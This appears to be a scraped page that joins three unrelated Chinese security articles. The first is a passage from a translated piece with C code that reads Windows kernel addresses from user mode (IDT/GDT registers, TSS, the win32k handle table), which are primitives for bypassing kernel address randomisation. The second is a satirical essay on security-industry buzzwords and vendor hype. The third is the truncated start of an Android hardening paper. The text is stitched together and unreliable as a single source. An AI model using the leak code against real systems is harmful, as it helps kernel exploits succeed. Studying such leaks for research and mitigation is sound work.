最后，将相应的变量的长度改为64位，同时所有的printf语句也要进行相应的修改。
最终的代码可以从Github上下载。
忙活半天，终于可以在64位系统上运行我们的代码了，并且这个问题在Windows 8中也得到了修复！
Matt Miller在Black Hat USA 2012上的演讲的内核部分中讨论Windows 8漏洞利用缓解改进情况的时候，曾经引用了这个修复：
解决这些问题的方法非常简单，观察一下的从Windows 7和Windows
8中的win32.sys（如下图所示），我们可以看到，现在这些函数的实现方式中，调用敏感函数后所有的RAX被设置为一个新值。例如，在我考察过的两个泄露ETHREAD的函数中，UserSessionSwitchLeaveCrit导致返回前将泄露的地址放入RAX/
EAX中，这个问题已得到修复。
NtUserGetAsyncKeyState：Windows 8的实现在左边，Windows 7的实现在右边。
以前，这会导致泄漏ETHREAD的部分地址，因为在函数返回之前，只有eax的前16位被修改，现在使用movsx后，它将对较高的位进行清零。
NtUserModifyUserStartupInfoFlags：Windows 8的实现在左边，Windows 7的实现在右边。
以前，这会泄漏完整的ETHREAD地址，因为eax在返回之前根本没有被修改，现在eax被显式地设置为1。
**
**
**描述符表 Windows 7 32 bit**
x86描述符表有各种用途，在j00ru的论文中考察的是中断描述符表（IDT），处理器用它查找处理中断和异常的代码，而全局描述符表（GDT）
由处理器使用以定义内存段。
关于描述符表的更多细节请参考j00ru的论文，它们主要在内存隔离和特权隔离中扮演关键角色。全局描述符表寄存器（GDTR）定义了GDT的起始地址及其大小，它可以通过sgdt
x86指令读取：
SGDT仅对操作系统软件有用; 但是，它可以在应用程序中使用，并且不会生成异常。
这意味着在Ring 3中运行的代码可以读取GDTR的值且不会引起异常，但无法对它进行写入操作。 GDTR的格式如下：
中断描述符表寄存器（IDTR）定义了IDT的起始地址及其大小，它可以使用sidt x86指令读取，并且与sgdt类似，也可以从ring
3调用，这一点真是带来了极大的便利性。IDTR的格式如下所示：
此外，Windows允许使用GetThreadSelectorEntry函数读取GDT中的特定表项。
在j00ru的论文中，他使用它来读取几个潜在的敏感表项，但是我将通过它来读取任务状态段（TSS）描述符。
我们可以使用内联汇编以6字节缓冲区作为参数来执行sidt指令。
unsigned char idtr[6] = { 0 };
__asm {
sidt idtr;
}
读取idtr后，我们只需要从内存中提取相应的值，就可以打印它们了。
unsigned int idtrBase = (unsigned int)idtr[5] << 24 |
(unsigned int)idtr[4] << 16 |
(unsigned int)idtr[3] << 8 |
(unsigned int)idtr[2];
unsigned short idtrLimit = (unsigned int)idtr[1] << 8 |
(unsigned int)idtr[0];
printf("Interrupt Descriptor Table Register base: 0x%X, limit: 0x%Xrn", idtrBase, idtrLimit);
同样，我们可以很容易地使用内联汇编来调用sgdt指令，然后提取基地址和极限值。
unsigned char gdtr[6] = { 0 };
__asm {
sgdt gdtr;
}
unsigned int gdtrBase = (unsigned int)gdtr[5] << 24 |
(unsigned int)gdtr[4] << 16 |
(unsigned int)gdtr[3] << 8 |
(unsigned int)gdtr[2];
unsigned short gdtrLimit = (unsigned int)gdtr[1] << 8 |
(unsigned int)gdtr[0];
printf("Global Descriptor Table Register base: 0x%X, limit: 0x%Xrn", gdtrBase, gdtrLimit);
接下来，我们要使用GetThreadSelectorEntry来读取TSS内容。
BOOL WINAPI GetThreadSelectorEntry(
_In_ HANDLE hThread,
_In_ DWORD dwSelector,
_Out_ LPLDT_ENTRY lpSelectorEntry
);
首先，我们使用Store Task Register / str指令为tss获取正确的段选择符。
WORD tr;
__asm str tr
接下来，我们创建一个空的LDT_ENTRY表项结构，并使用当前线程作为线程参数调用GetThreadSelectorEntry函数。
LDT_ENTRY tss;
GetThreadSelectorEntry(GetCurrentThread(), tr, &tss);
然后，我们就可以从下面已填充的LDT_ENTRY结构中读取TSS的基址和限制了。
unsigned int tssBase = (tss.HighWord.Bits.BaseHi << 24) +
(tss.HighWord.Bits.BaseMid << 16) +
tss.BaseLow;
unsigned int tssLimit = tss.LimitLow;
printf("TSS base: 0x%X, limit: 0x%Xrn", tssBase, tssLimit);
完成所有这些工作后，我们就可以编译并运行代码来查看地址了：
包括用于64位Windows的完整代码都可以从Github下载。
**
**
**Windows 8 64 bit**
我们的代码只要稍作修改，就可以在64位Windows上正常使用。最重要的是，Visual
Studio无法在面向amd64的项目中使用内联汇编。对于sidt/sgdt来说，我们可以通过Visual Studio定义Compiler
Intrinsic来解决这个问题。我们可以通过下列代码来读取GDTR。
unsigned char gdtr[10] = { 0 };
_sgdt(gdtr);
unsigned long long gdtrBase = (unsigned long long)gdtr[9] << 56 |
(unsigned long long)gdtr[8] << 48 |
(unsigned long long)gdtr[7] << 40 |
(unsigned long long)gdtr[6] << 32 |
(unsigned long long)gdtr[5] << 24 |
(unsigned long long)gdtr[4] << 16 |
(unsigned long long)gdtr[3] << 8 |
(unsigned long long)gdtr[2];
unsigned short gdtrLimit = (unsigned int)gdtr[1] << 8 |
(unsigned int)gdtr[0];
printf("Global Descriptor Table Register base: 0x%llx, limit: 0x%Xrn", gdtrBase, gdtrLimit);
_sgdt的作用与使用内联汇编调用sgdt完全相同。 gdtr的大小也必须进行更新以反映64位系统上的指针。读取IDTR的代码也需要进行类似的修改。
unsigned char idtr[10] = { 0 };
__sidt(idtr);
unsigned long long idtrBase = (unsigned long long)idtr[9] << 56 |
(unsigned long long)idtr[8] << 48 |
(unsigned long long)idtr[7] << 40 |
(unsigned long long)idtr[6] << 32 |
(unsigned long long)idtr[5] << 24 |
(unsigned long long)idtr[4] << 16 |
(unsigned long long)idtr[3] << 8 |
(unsigned long long)idtr[2];
unsigned short idtrLimit = (unsigned int)idtr[1] << 8 |
(unsigned int)idtr[0];
printf("Interrupt Descriptor Table Register base: 0x%llx, limit: 0x%Xrn", idtrBase, idtrLimit);
最后，需要包含头文件intrin.h，因为Compiler Intrinsics都是定义在这个文件中的。
#include <intrin.h>
GetThreadSelectorEntry似乎没有读取TSS的64位简单实现代码，因此将其弃用。
因为从Ring 3执行sidt/sgdt指令是amd64指令集的特性，而非操作系统特性，所以在Windows 8中仍然可以读取这些值：
Windows 8.1:
Windows 10:
与进程所在的完整性级别或用户具有的权限无关。
**
**
**Hyper-V**
根据Dave Weston和Matt Miller的Black Hat关于Windows
10的漏洞利用缓解进展方面的演讲来看，如果在系统上启用Hyper-V，并执行sidt或sgdt指令的话，管理程序将捕获它们并拦截返回值。
但是，这一点我还没有亲自验证过。
**
**
**Win32k.sys Object Handle Addresses Windows 7 32 bit**
Win32k是一个重要的驱动程序，提供将图形输出到Windows上的显示器、打印机等的相关功能。它维护会话（会话由表示单个用户的登录会话的所有进程和其他系统对象组成。）和存储所有GDI（图形设备接口）和用户句柄的句柄表。
为了降低访问此表的性能开销，通常将其映射到用户空间中的所有GUI进程。 用户空间中该表的地址可通过user32.dll导出为gSharedInfo。
这允许从用户模式寻找内核内存空间中所有GDI和用户对象的地址。 首先，我们需要定义这个表在内存中的结构，下面的结构取自ReactOS。
typedef struct _HANDLEENTRY {
PVOID phead;
ULONG pOwner;
BYTE bType;
BYTE bFlags;
WORD wUniq;
}HANDLEENTRY, *PHANDLEENTRY;
typedef struct _SERVERINFO {
DWORD dwSRVIFlags;
DWORD cHandleEntries;
WORD wSRVIFlags;
WORD wRIPPID;
WORD wRIPError;
}SERVERINFO, *PSERVERINFO;
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelta;
ULONG_PTR awmControl;
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO, *PSHAREDINFO;
接下来，我们需要获取user32 DLL的句柄，并找到gSharedInfo变量的偏移量。
HMODULE hUser32 = LoadLibraryA("user32.dll");
PSHAREDINFO gSharedInfo = (PSHAREDINFO)GetProcAddress(hUser32, "gSharedInfo");
一旦解析出了用户空间中的表位置，我们就可以遍历句柄表，打印每个对象的内核地址、它的所有者和对象类型。
for (unsigned int i = 0; i < gSharedInfo->psi->cHandleEntries; i++) {
HANDLEENTRY entry = gSharedInfo->aheList[i];
if (entry.bType != 0) { //ignore free entries
printf("Head: 0x%X, Owner: 0x%X, Type: 0x%Xrn", entry.phead, entry.pOwner, entry.bType);
}
}
下面是它在32位Windows 7上的运行情况：
**
**
**Windows 8/8.1 64 bits**
为了将代码移植到64位系统，我们需要对代码稍作修改。
首先将SERVERINFO结构扩展为64位，方法是对dwSRVIFlags和cHandleEntries字段的大小进行相应的调整。
typedef struct _SERVERINFO {
#ifdef _WIN64
UINT64 dwSRVIFlags;
UINT64 cHandleEntries;
#else
DWORD dwSRVIFlags;
DWORD cHandleEntries;
#endif
同样，记录地址的printf语句也需要进行相应的修改，以便可以处理64位指针。
#ifdef _WIN64
printf("Head: 0x%llx, Owner: 0x%llx, Type: 0x%Xrn", entry.phead, entry.pOwner, entry.bType);
#else
printf("Head: 0x%X, Owner: 0x%X, Type: 0x%Xrn", entry.phead, entry.pOwner, entry.bType);
#endif
完成这些修改之后，它就可以在Windows 8.1上正常运行了。
**Windows 10?**
根据Dave Weston和Matt Miller在黑帽大会上的演讲，已经无法通过GDI共享句柄表获得内核地址。
但是当这个二进制代码在64位Windows 10 周年版虚拟机中运行时，我找到了一些像内核指针的东西：
通过考察这些地址，发现它们与内核空间中的预期会话空间地址范围相吻合，也就是都位于正确的取值范围内——至少对于64位的Windows 7来说的确如此。
接下来，我加载了一个64位Windows
8机器，连接内核调试器并转储了句柄表，并将其与我在调试器中看到的值进行了相应的比较。下面的几个匹配值已经高亮显示，我们期望的值都能从用户模式代码中找到。
然后，我在64位的Windows 10上面进行了同样的试验。
我发现句柄表的结构和指向的值，在不同的操作系统版本之间非常一致。我现在没有更多的时间来深入研究这些，所以这里先打一个问号，留待以后继续探索。 | 社区文章 |
# 吐槽系列（二）：安全行业近五年之怪现状
##### 译文声明
本文是翻译文章，文章原作者 sec-un，文章来源：sec-un.org
原文地址：<https://www.sec-un.org/%E5%90%90%E6%A7%BD%E7%B3%BB%E5%88%97%EF%BC%88%E4%BA%8C%EF%BC%89%EF%BC%9A%E5%AE%89%E5%85%A8%E8%A1%8C%E4%B8%9A%E8%BF%91%E4%BA%94%E5%B9%B4%E4%B9%8B%E6%80%AA%E7%8E%B0%E7%8A%B6/>
译文仅供参考，具体内容表达以及含义原文为准。
转载：[安全村](https://www.sec-un.org/%E5%90%90%E6%A7%BD%E7%B3%BB%E5%88%97%EF%BC%88%E4%BA%8C%EF%BC%89%EF%BC%9A%E5%AE%89%E5%85%A8%E8%A1%8C%E4%B8%9A%E8%BF%91%E4%BA%94%E5%B9%B4%E4%B9%8B%E6%80%AA%E7%8E%B0%E7%8A%B6/)
作者：Lancer
印象中大概是16年前后，安全行业迎来了名副其实的春天：4.19讲话后，嗅觉敏锐的风投资本纷纷挥舞着钞票，开启了安全“淘金热”，大量资金的涌入，让整个安全行业被动地迎来了“创业潮”和“创新潮”。同时，VC资本对安全企业及其核心团队的考量，以及给安全行业带来的“互联网玩法”，例如流量为王，例如裂变推广等，也刷新了安全产业界的认知：原来自己错过了这么多暴富的机会。于是乎，安全有了“实现一千个小目标，赶超小龙虾”的雄心和愿景。
几年过去了，安全产业看着形势一片大好，政策利好、产业升级、领导视察、央媒报道、投资纷现、上市圆梦、会议刷屏、人才济济，可谓“日有一新、月有一进”。特别是这两年的“HW”这个大IP，乙方各尽其能，堪称盛宴。
然而，繁花之下，小龙虾却离我们越来越远。（注：16年小龙虾总产值1466亿，19年已达4110亿，单养殖小龙虾就有710亿，而安全产业貌似仍在向700亿目标努力。）经过近5年政策推动下的野蛮生长，安全行业似乎并没有像其他行业那样引来爆发，相反却有些乱象纷呈、浮躁不堪。
一年前，笔者在村里发了一篇《吐槽系列(1):安全热词造词填词姿势大全》，算是吐槽了一把。然后就窝在单位专心搞事，在经历了被各种产品坑到欲仙欲死、头发日益稀疏的一年后，趁着Bruce总的大魔王花式催稿，在原文的基础上再来吐槽一把，以发泄下心中的怨念，挽救下我的头发。文中所述种种吐槽，如果真有雷同，肯定不是巧合，欢迎对号入座，大家心照不宣。
## 一、造词车祸现场：追热度频造新词，运用之妙，存乎一心
造词这个事，实际源于早期（当然现在也是）国内向国外同行学习先进理念和技术的时候，连皮带骨做复刻的顺带产物。一个好词，既能清晰地表达自身产品的功能定位，又能从骨子里透出一股国际范，还可以表达自身处于某一个时代浪潮的顶峰，一举多得。
然而，当安全界风向标Gartner和RSA开始打造安全业的“热词”榜，诞生诸如年度N大安全技术，年度安全热词之后，国内追热度、造热词、强行挤风口（名义或故事上的）的情况就愈演愈烈，甚至于Gartner或者RSA前脚刚发布一个热词，后脚就有一堆类似的新词如雨后春笋般地涌出，而且还都有对应的产品一条龙。这足以让远隔千里的国外产商对我们的产品创新能力和研发能力叹为观止，更是让大大小小的投资人和领导感慨安全产业未来可期。而Gartner和RSA貌似也受到了国内追捧和推崇的激励，打鸡血一般地刷新各种新名词、新概念，走在了概念创新和名词创新的最前列。（实际大多是换汤不换药，甚至前后矛盾。）
于是乎，在近几年大大小小的安全会议上，笔者总能在大屏幕的PPT中看到一连串的大写英文、大小写英文，甚至中英双语的新名词，如果旁边不加上解释，你都猜不出来是啥意思。而且，越是高端，越是人多的会议，PPT上的新名词越多，以至于都没有足够的空间留给名词解释了。甚至于，出现了不同厂商之间造词重合却词义不同的“撞车”事件，其尴尬程度堪比国内女星红毯“撞衫”，其中姿势，令人瞠目。以下就重点讲几个栗子，博君一笑。
说到造词，X系列是最常见的手法。一般来说，X大多是N（Network）、H（Host-based）、E（Endpoint）这些，后面挂接类似DLP、IDS、IPS这些常见产品或技术的缩写词时，大致都能明白说的是啥。但是，最近看到不少碉堡的新产品和新技术，其缩写名词堪称魔幻现实主义，生搬硬套之经典。比如：
### 1、XBAC系列
我们都知道RBAC（基于角色的权限控制）和ABAC（基于属性的权限控制），当然还有IBM的LBAC（基于标签的权限控制）。虽然，个人认为标签（Label）实际也是属性（Attribute），但是IBM爸爸说了算。因此，国内不少厂商在设计、宣传自身权限控制产品和技术时，基于中文语义，诞生了不少XBAC类名词，例如：
1）基于流程的权限控制—PBAC；
2）基于任务的权限控制—TBAC；
3）基于本体的权限控制—OBAC；
4）基于行为的权限控制—BBAC；
5）基于数据分类的权限控制—CBAC。
但是，英文单词只有26个啊，XBAC多了总会有撞车的，加上英文的同义词也蛮多的，于是乎，在我们的PPT中，就可能出现以下几种情况：
基于标签的权限控制既可以是LBAC（Label）也可能是TBAC（Tag）；
基于行为的权限控制既可以是BBAC（Behavior），也可能是ABAC（Action）；
TBAC既可以是基于任务（Task）的，也可能是基于标签（Tag）的；
RBAC既可以是基于角色（Role）的，也可能是基于规则（Rule）的；
PBAC既可以是基于流程（Process）的，也可能是基于特权（Privilege）的，或者是基于策略（Policy）的；
ABAC既可以是基于属性（Attribute）的，也可能是基于资产（Asset）的，还可能是是基于动作（Action）的，更魔幻的可能会是基于授权（Authorization）的。
当然，可以尝试更长的前缀，这样的话可用空间就更大了。比如这个，eIDBAC—基于公民电子身份标识的权限控制，或者是这个，AIBAC—基于人工智能的权限控制，还有这个FaceBAC—基于人脸识别的权限控制，最新见到的是ZTBAC—基于零信任的权限控制…像笔者这种记忆力差的，真的记不住。
### 2、XDR系列
这个系列最早，也是最为人熟知的就是EDR（ Endpoint Detection and
Response）。记得在14年的时候，Gartner就将EDR列为年度十大安全技术了，也算是XDR中最早出来混的。DR=检测与响应，这等天赐的万能造词组合，大家怎能错过？最开始呢，还是比较矜持，EDR也就变成NDR（Network），也算说得过去。到后面，出现了TDR（Threat）、MDR（Managed）、CDR（Cloud）、ADR（Attack）、DDR（Docker）、IDR（incident）、AIDR（AI-driven）、HDR（Host-based）、ZDR（Zerotrust）…哦，对了，还有两个新EDR：一个是邮件检测与响应（Email），一个是突发事件检测与响应（Emergency）。
有鉴于XDR的超级适配性，在各类产品宣传材料或会议PPT中，产品矩阵图或是技术创新介绍中都充斥着大量的新造“XDR”。当然，从实际来看，只要对应产品有告警界面和“处置”按钮，“XDR”之名也算是“名副其实”。
笔者见过最多的是某厂凑齐的“十八罗汉”XDR产品矩阵，上述举例中大部分素材均来源于此。而且个人觉得，只要我还能在安全行业活得再久一些，总能见到“三十六天罡”和“七十二地煞”XDR。
## 二、安全填词游戏：论如何强行适配热词并做到包治百病
先说下造词和填词的区别。造词，可以看做是基于一个已成行业共识的缩写词，根据语义（英文的，或中文的）做延伸创造新的缩写词，并期望着这个新词能成为一个热词。而填词，则是将行业兴起的热词引进到自身的技术体系和产品理念中，并使之融会贯通。因此，相对于纯粹基于语义的造词，填词对产品经理和售前专家们的要求更高，一是要有足够的知识广度与深度，较强的技术理解能力，才能从简单的定义和介绍材料中快速地理解热词的技术本质和核心理念；二是要有丰富的从业经验和前瞻性，能判断某个技术热词是否真会成为未来的趋势，而不是某个昙花一现的“天坑”；同时，还要有一套逻辑自洽的理论，将热词与自家产品紧密结合，以体现自身产品的先进性和前瞻性。这就是我们常说的要：看得明白，想得通透，说得清楚。
然而，理想很丰满，现实很骨感。随着业务的快速扩张，资本方的造势压力，老一批技术骨干的隐居幕后，新晋专家们的拎包入行等等因素，加之安全行业在“向互联网企业学习”热潮中学到了一些简单粗暴的市场推广和品牌营销手段，“填词”已经变成了安全技术热词的无限制滥用。下面就是几个典型例子。
### 1、态势感知SA（Situational Awareness）
如果统计这四五年中，哪个安全技术热词被“填”的次数最多，无疑就是“态势感知”了。大大当年一篇讲话，彻底带火了SA。直至今日，你能数的出来的安全厂商，十个里面有九个有一款主打的态势感知产品，剩下一个有不止一款。
然而，深入去研究这些产品后你会发现，这些产品大多只是披着“态势感知”这层皮的检测产品，实际还是老一套的检测探针加可以做统计的管理后台。而在交流后，你还会发现，大部分厂商的售前根本说不清楚什么是态势感知，什么是认知、理解、预测模型，还有笔者从未听到专家们提及的，最重要的反馈机制。专家们只会向你反复强调：我能发现资产，我能统计漏洞，我能看到告警，我能接别家的日志，我绝对能帮助你感知所有的安全风险和攻击事件…
此外，还有某些厂商，将NTA类产品冠以“态势感知”之名，一副只要有流量即可包打天下的神情，也是令人哭笑不得。更有甚者，把基于redash或Kibana改的告警Dashboard，最多再加个地图图层和biubiu地图炮展现，也叫做“态势感知”。
而随着某年度大型线上真人匿名交友活动的逐年升级，“态势感知产品”更是在专家口中变为“神器”级别的产品。然而，据笔者所知，多数被抓到的小伙伴们，大抵用的都是盘外招，“态势感知产品”到底如何，没人说得清楚。
### 2、安全编排与自动化响应SOAR（Security Orchestration, Automation and Response）
SOAR是Gartner在2017年重点推的概念之一，而在更早的Arcsight当道的时候，SOAR技术实际已有较成熟的应用和理论基础。而SOAR成为热词的原因，一是Splunk用3.5亿美元收购了Phantom，刺激了大家的神经。二是Gartner分析师对SOAR做了相当出色的理论包装。三是国内近年来对Gartner各项排名和报告的追捧，很多甲方也很买Gartner的账。于是乎，各家厂商纷纷上马SOAR，或是单独产品，或是与SOC/SIEM集成。
但是，就笔者接触过的几家最早推出SOAR产品的厂商来看，SOAR也被“填词”地厉害。很普遍的一种做法，就是把原来产品的自定义规则功能模块改了个看似是工作流的页面展现形式。看上去的确高大上，但只要问细一点，或是上手操作一下，模拟下可编排的复杂场景，基本就麻爪了。
此外，建议厂商的产品经理们先好好理解一下Phantom官网对编排的官方介绍的第一句话：“Phantom 灵活的应用程序模型支持数百个应用程序和数千个
API”。就冲这句话，推销自家SOAR产品时，先想想自家产品有没做到全面支持，自家产品是不是做到了API化再说吧。连自家同一产品线的产品都能做到因版本不同而数据格式互不兼容的，或是一个端点产品无法对外提供API接口输出告警和日志的，谈什么SOAR？
当然，还有抑制不住自己的发散思维的。比如，有将各种算法也加入到自家所谓SOAR模块中的，不但可以选择一大堆的“算法”，而且可以选择一大堆的“算子”。当问到怎么用，用于什么场景，效果如何时，答曰：只是给自己工程师用的而不是给客户用的，很少会用到，效果棒棒的。这种回答蕴含的猫腻和语气中透露的无奈，其真实情况不言而喻。
从笔者看来，对于SOAR这种极度考验行业或企业生态化水平的安全产品而言，国内安全行业这种以“零和博弈”为主的产业现状，除非监管机构或是两大云巨头出手整合，否则几乎不可能做到类似国外IACD、Splunk、Qradar、AWS、Azure等SOAR类产品的成效。而在大型互联网与金融企业中，SOAR的根基—安全的自动化编排，其中的“剧本”大多都是面对各不一样的定制化场景，“动作”则要面对的是外购与自研混杂的工具体系，以及各不相同的安全权责分工。
这种情况下，外部通用产品很难适用，即使是用也有一定的使用门槛和习惯培育周期，强行推广过程中可预见地得踩无数的坑，这还不算后续产品自身的和关联安全工具的维护和运营成本。因此，个人觉得，如果SOAR所需的各个基础条件都能梳理清楚，那么，有能力的甲方宁可自己开发，还能捞点创新绩效，干嘛在经济寒冬期花口舌去说服老板掏钱买产品呢。
### 3、网络威胁情报CTI（Cyber Threat Intelligence）
除了前面2个，CTI也是近几年的“填词”热门。相对前面2个词填起来还要些基础能力和想象力外，CTI的填词方法更为简单粗暴。
最典型的方法就是“换皮肤”，把产品中普遍存在的黑名单的名字改为CTI或IOC，瞬间就变成了支持CTI的厂商和产品。至于什么情报的采集机制、传输机制、数据模型、聚合机制、分发机制什么的，安全村、安全内参、FreeBuf等都有大量材料，随便摘一点理论，抄个架构图，加上一句“这些都是内置的”，就能对付过去。反正对于不太懂CTI的用户而言，最终输出的到底是IOC还是黑名单，看上去真的没啥区别。
另外很有意思的一件事，我碰过某厂商的售前，说自己的SOC产品接入了自身独有的IOA指标。然而，在我详细了解后才发现，所谓的IOA指标，实际就是一个snort规则库加Yara规则库，而其中的规则与网上可公开下载的相关规则库重合度极高。这种对IOA的换皮大法，也算给笔者开了眼界。
顺便说个题外话，恰巧行文前，在某年度大型线上真人匿名交友活动中，见识了如何被恶意标识的社区情报曲折离奇地误伤到，有点哭笑不得，又有点怨气。辛苦努力，差点清零，难道这年头，做情报的都不审核了么？另外，也正好看到瘦总讲情报的一篇文章，有提到IOC注水的事。这个槽点，后文讲POC时再说。
### 4、MITRE ATT&CK™
说到最近安全技术热词的当红炸子鸡，那当属ATT&CK。在我理解，ATT&CK并不是一项技术，而是更接近于与NIST提出的SCAP体系类似的一个知识体系，里面应该会包含语言类、枚举类和度量类的内容、定义和方法，以模型、机制为主。同事，ATT&CK提供了一个开放社区，让学术、产业界每个感兴趣的人都能参与进来。这种体系建设与运作机制是鹰酱的惯用方法。
然而，在近一两年不少安全会议中，笔者碰到的很多厂商，甚至某些甲方，都在宣称自己采用了ATT&CK技术，并在自身的产品宣讲PPT中将ATT&CK作为一项关键功能模块大书特书，大谈自己完全采用了ATT&CK技术，因此任何AP攻击都能检测出来，绝不会有遗漏。自谦曰国内检测能力我认第二，看谁敢认第一。且不论大家对APT的定义仍是众说纷纭，单这种歪曲ATT&CK本意的填词方式，也算是让人哭笑不得。
忍不住开个地图炮：真心希望各家厂商好好培养和锻炼自家的售前和专家们，很多概念、理论、技术并没有太多门槛，介绍和分析文章网上到处都有，看都不看一下就出来瞎吹胡吹的，不仅丢自己的人，也败东家的脸。
## 三、安全战忽局：安全专家在线忽悠，以小博大，紧张刺激
战忽局，按照知乎上看到的说法，是“以国家安全为目标，通过忽悠，误导，渗透等手段促使敌对势力对我方实力与格局进行错误判断，从而占据战场主动地位，潜伏实力，蛊惑敌心。发展至当代，其作战理论有了显著发展，搭配因果律武器（天火降航母)，灵活运用天象学（雾霾防激光），生物学（海草缠潜艇）等当代基础学科，可谓我军克敌制胜的法宝。”如今，笔者在大大小小的安全会议和技术交流中，深刻感受了安全战忽局的威力：感觉就像在线菠菜一样，循循善诱，步步惊心，一朝不慎，就成了被忽悠、蛊惑的对象。
1、我说有的并不代表着它真的有
近几年，笔者前后大约收集近千份讲产品、讲理念的PPT，和多个厂商也交流过近百场。因为几份工作都需要对接和测试产品，或是做集成架构设计，所以常常抓着产品架构图看，或者追着问些架构设计上的问题。于是乎，由于过于“好学”，经常不经意地发现一些架构上的小“猫腻”，并因此踩坑无数。
一种“猫腻”是宣传的架构图上画着Kafka、Flink、InfluxDB、ES、Neo4j等等，甚至为了体现研发能力的强大，宣称自己定制开发了一个绝对牛逼过原版的XXlink、XXDB、XXSQL、XXES…然而，当你信以为真并真的开始用起来的时候，kafka消息堆积、Flink作业异常、InfluDB数据丢失、ES数据倾斜、Neo4j节点值为空等各种让人无语的问题接踵而至，而且大多需要研发排期修改，一拖就是几周、几月，甚至大半年，让你不禁疑惑，到底甲方是爸爸，还是小白鼠
此外，笔者还碰到过架构图胡画一气，明显就有问题的。比如，将Flink画在ES后面的，让人好奇Flink到底用来干啥；。又或者一张架构图里Kafka、Redis、RabbitMQ、Spark、Flink、ES、MongoDB、MySQL、InfluxDB、Neo4j全家福的，让你惊讶这是何等复杂的产品和架构，是要造个卫星上天吗？
当然，这还算好的，见过最夸张的就是架构图里画着有，售前过来也说有，产品部署也貌似有，等到真正要去用的时候（比如kakfa），那就是真的没有，或者说无法对外开放，让你忍受时断时续、老丢数据的syslog，或是一用就挂的API接口。这种做法，与菠菜网站套现后跑路又有啥区别？
### 2、走过最深的路，就是POC的套路
说到POC的套路，很多甲方都会想起一幕幕的血泪史。产品测试的时候各种牛逼，各种OK，无论是你拿什么指标，什么功能去测试，总能让你满意。但一到正式使用，各种不行，让你怀疑人生，感觉像是进入了一个“杀猪盘”。为啥频频甲方会中套路？安全POC为啥测不出真实效果？在笔者看来，核心就在于：信息不对称。
绝大多数情况下，一个安全产品就是一个黑盒，盒子里有啥，实际你是不知道的。而由于安全领域的特殊性，大部分安全产品的核心不在于功能，而在于知识。这些知识在很多情况下都是非公开的，导致甲乙双方的信息不对称。而安全产品的POC套路，大多源于在产品测试中如何有效地利用这种信息不对称优势。
典型的例子，就有情报的测试。瘦总的《从IOC的一些真相谈对其的评价标准
》一文中，提到IOCs的几个参考指标中，日均更新量、条目数量都很容易注水，建议用发生命中的独立IOC数、命中的总次数、非开源IOC的占比这三个指标来衡量情报IOCs的全面性。然而，在笔者获知的某个真实测试案例中，某厂商居然在自己的测试系统中用随机碰撞命中再随机标记威胁类型的方式来刷命中数，并被竞对当场抓到。由此可见黑盒模式下，我们以为有用的测试方法，也不见得躲得过各种套路。此外，还听说过为了保证威胁检出率，让自家或甲方小伙伴在模拟攻击流量时，于payload中暗藏特定的tag，确保一抓一个准的。或是有专门的测试机，实际性能比宣称性能高上数倍的，等等等等，诸如此类，防不胜防。
最后，只能提醒一下甲方同学，最好是自己写测试用例且用例尽量全（正反向用例都要考虑），尽量做到测试时间、过程和内容对参测厂商黑盒，用套路反套路，方有可能避免被套路。
## 四、这是一个“比烂”的时代：不需要做好，只需要证明别人更烂
最后这节，是吐槽产品的。此文写成时，正值某年度大型线上真人匿名交友活动第二阶段如火如荼之时，笔者所在单位虽不在活动名单中，却也从各个渠道获得了各种信息。其中最多的，就是每天的安全产品花式爆洞环节，以及后续的在线撕逼和飞翔的小道消息。在吃瓜的同时，作为一个安全从业者，却又深感悲哀。
从何时起，安全行业变成了一个“比烂”的行业？从何时起，安全产品成为整个甲方安全体系里面最不安全、最不可控的环节？从何时起，一个安全产品的好坏和口碑，是靠证明别人的产品更烂来评价的？明明各个厂商有着大量的攻防专家，有着丰富的理论基础，还到处指导、协助甲方去规划安全体系、做安全攻防演练和测试、建SDLC和Devsecops，却搞不定自家产品一个简单的SQL注入或是越权？除此之外，肆无忌惮地爆竞对的产品漏洞，将用对方产品的甲方置于无防护状态，心惊胆战。用这种方法来证明自己能力强，别人烂，又怎么能让甲方对乙方能报以更多的信任？
这或许就是为什么阿里、腾讯、华为、百度、美团等大厂在大部分情况下宁可招高水平的人自研大部分安全工具，也不愿用外部产品的原因之一吧。
## 写在最后
造词、填词和忽悠，在当前安全行业厂商所面临的生存、资本压力下，从商业角度，笔者表示很能理解，毕竟十多年混迹乙方，自己也干过这些事。然而，比烂这件事，算是与“安全为国，不忘初心”的宗旨相违背的。
安全，和芯片、机床这些东西一样，无论外表如何花团锦簇，如何粉饰太平，最终是要拉到战场上见真章，对外打硬仗的。无论热词怎么造，怎么填，也无论怎么忽悠，内功修炼还是得扎实，该干的事还是得干好，比烂是千万要不得。真不希望等到真需要我们为国效力时，却只能喊一句“臣妾做不到”。
所以，希望大家少一点浮躁，多一点踏实。这个行业，毕竟我们还是要待很久的。 | 社区文章 |
**前言**
本文研究实现了一个可用于Android操作系统的安全加固方案，它能很好地拦截威胁事件，用户可自行编程扩展安全保护方案，具有很好的性能。
**研究背景和意义**
1.研究背景
与PC操作系统相不同，Android操作系统呈现出巨大的碎片化现象。目前Android操作系统在移动智能终端市场上的占有率已超过85%，其品牌种类繁多，制造、发布和更新是由国内外各品牌手机运营厂商定制完成。这种情况大大超出Android鼻祖Google公司的掌控，因此Google之后发布的安全补丁在全球各种品牌的Android手机上都迟迟得不到有效地使用。此外，由于Android操作系统具有开源架构的特性，所以它成了大量恶意攻击软件攻击的目标，而复杂不规范的Android应用市场又促使Android智能终端使用者通过各种途径下载可能含有后门的应用软件。这些情况使得Android操作系统的安全性面临着更多复杂的挑战，进而增加了用户隐私信息泄露的风险。
因此，Android操作系统在大型公司和政府部门中被禁止使用。在国外，著名Android手机厂商黑莓公司的安全研发部门正着手开发一种商务友好型的Android智能终端操作系统，它极大地减少了用户隐私信息泄露的风险。在国内，作为Android智能终端的中流砥柱，华为、小米等公司也有义务扛起大旗，保障Android使用者的隐私信息安全。
2.研究意义
